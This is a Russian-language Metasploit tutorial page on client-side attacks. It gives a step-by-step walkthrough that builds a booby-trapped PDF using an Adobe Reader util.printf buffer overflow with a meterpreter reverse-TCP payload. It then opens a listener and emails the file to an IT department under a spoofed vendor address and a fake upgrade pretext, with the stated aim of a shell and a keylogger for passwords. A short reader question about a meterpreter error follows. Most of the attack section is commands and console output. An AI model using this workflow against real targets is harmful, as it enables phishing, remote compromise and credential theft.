Client Side атаки.
Как мы уже обсуждали, Metasploit имеет множество применений, здесь мы обсудим еще одно - Client Side атаки. Чтобы показать всю мощь использования Client Side атак в MSF, в качестве примера, воспользуемся одной историей.
В мире безопасности, все чаще, во время атаки используется социальная инженерия. Технический прогресс и его технологии постоянно меняются, но одна технология остается неизменной — работа с людьми. В связи с этим, социальная инженерия стала очень "горячей" темой в области безопасности современного мира.
В первом сценарии атакующий должен собрать как можно больше информации с использованием таких инструментов как Metasploit Framework, Maltego и других похожих инструментов для сбора адресов электронной почты, а также информацию о жертве для применения СИ.
После успешного изучения мусорной корзины, сбора e-mail адресов с вебсайта взломщик выяснил два ключевых момента.
1)Они используют "лучшие компьютеры" под технические услуги.
2)IT департамента имеет адрес электронной почты itdept@victim.com
Ему нужен shell на одном из компьютеров ИТ-отдела и как следствие, запущенный Key Logger, для получения паролей, или других важных данных.
Начнем с запуска msfconsole.
После загрузки консоли создадим вредоносный PDF, который жертва без чувства опасения и тревоги спокойно запустит на своем компьютере. Для этого наш файл должен выглядеть вполне «реалистично», иметь реальное имя и не обнаруживаться антивирусным программным обеспечением.
Мы будем использовать Adobe Reader 'util.printf()' JavaScript Function Stack Buffer Overflow Vulnerability.
Adobe Reader подвержен уязвимости переполнения буфера из-за ненадлежащей проверки пользовательских данных.
Злоумышленник может использовать эту уязвимость для выполнения произвольного кода с привилегиями пользователя, запустившего приложение.
Итак, мы начинаем нашу атаку путем создания вредоносного файла PDF.
msf > use exploit/windows/fileformat/adobe_utilprintf msf exploit(adobe_utilprintf) > set FILENAME BestComputers-UpgradeInstructions.pdf FILENAME => BestComputers-UpgradeInstructions.pdf msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128 LHOST => 192.168.8.128 msf exploit(adobe_utilprintf) > set LPORT 4455 LPORT => 4455 msf exploit(adobe_utilprintf) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME BestComputers-UpgradeInstructions.pdf yes The file name. OUTPUTPATH /pentest/exploits/framework3/data/exploits yes The location of the file. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LHOST 192.168.8.128 yes The local address LPORT 4455 yes The local port Exploit target: Id Name -- ---- 0 Adobe Reader v8.1.2 (Windows XP SP3 English)
После задания всех необходимых опций, командуем "exploit", для создания pdf файла.
msf exploit(adobe_utilprintf) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Creating 'BestComputers-UpgradeInstructions.pdf' file... [*] Generated output file /pentest/exploits/framework3/data/exploits/BestComputers-UpgradeInstructions.pdf [*] Exploit completed, but no session was created. msf exploit(adobe_utilprintf) >
Таким образом, мы видим, что наш PDF файл был создан и записан в тот подкаталог, где мы находимся. Копируем файл в каталог /tmp, так его легче будет найти потом при эксплуатировании уязвимости.
Прежде чем передать вредоносный файл жертве, нам нужно задать прослушивание определенного порта, ожидающего соединение от пользователя запустившего файл. Для этого воспользуемся msfconsole.
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 4455 LPORT => 4455 msf exploit(handler) > set LHOST 192.168.8.128 LHOST => 192.168.8.128 msf exploit(handler) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Starting the payload handler...
Теперь, наша машина ожидает подключение. Во время сбора информации мы получили электронный адрес отдела ИТ, мы будем использовать маленький удобный скрипт под названием SendEmail для отправки полезной нагрузки жертве. С kung-fu one-liner мы напишем убедительное письмо, прикрепим наш вредоносный pdf, и воспользуемся любым доступным smtp сервером...
root@bt4:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf Reading message body from STDIN because the '-m' option was not used. If you are manually typing in a message: - First line must be received within 60 seconds. - End manual input with a CTRL-D on its own line. IT Dept, We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems. Sincerely, Best Computers Tech Support Aug 24 17:32:51 bt4 sendEmail[13144]: Message input complete. Aug 24 17:32:51 bt4 sendEmail[13144]: Email was sent successfully!
подскажите, почему может выскакивать такое сообщение:
meterpreter > execute[-] Unknown command: execute.
Ну судя по всему – «неизвестная команда»